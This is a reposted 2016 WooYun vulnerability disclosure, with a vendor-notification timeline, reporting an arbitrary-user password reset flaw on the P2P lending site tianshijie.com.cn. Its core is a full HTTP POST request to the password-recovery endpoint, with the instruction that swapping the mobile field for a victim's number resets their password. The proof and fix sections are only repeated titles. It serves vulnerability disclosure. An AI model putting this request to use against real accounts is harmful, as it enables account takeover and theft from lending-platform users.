神刀安全网

漏洞标题: p2p金融安全之天使街主站任意用户密码重置漏洞

漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-03-29: 厂商已经确认,细节仅向厂商公开
2016-04-08: 细节向核心白帽子及相关领域专家公开
2016-04-18: 细节向普通白帽子公开
2016-04-28: 细节向实习白帽子公开
2016-05-13: 细节向公众公开

简要描述:

p2p金融安全之天使街主站任意用户密码重置漏洞

详细说明:

code 区域
POST /user/getbackpassword HTTP/1.1
Host: www.tianshijie.com.cn
Proxy-Connection: keep-alive
Content-Length: 67
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.tianshijie.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://www.tianshijie.com.cn/user/getbackpassword
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Cookie: PHPSESSID=bgpnibnvbh4ku0dtjmivvuf3o1; QIAO_CK_6586897_R=http%3A//wlmq.tianshijie.com.cn/special/fenzhan; baidu_qiao_v3_count_6586897=1; angelstreet_pllseccode8028552c=9ESZ28CCy90757063V0MjwE1D2OwBTvKCRiQSvGAGBy-xFmOn6v; CNZZDATA1257893443=1873852129-1459153604-http%253A%252F%252Fwlmq.tianshijie.com.cn%252F%7C1459153604; Hm_lvt_d00c4ac5bb7249ddff51d62c9e4e57b9=1459158118; Hm_lpvt_d00c4ac5bb7249ddff51d62c9e4e57b9=1459158363
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3

password=wooyuntest&pwdconfirm=wooyuntest&step=2&mobile=13888888888

更改mobile为目标账号即可

我们以13888888888为例:

13888888888

wooyuntest

漏洞证明:

漏洞标题:  p2p金融安全之天使街主站任意用户密码重置漏洞

漏洞标题:  p2p金融安全之天使街主站任意用户密码重置漏洞

修复方案:

版权声明:转载请注明来源 撸撸侠@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: p2p金融安全之天使街主站任意用户密码重置漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址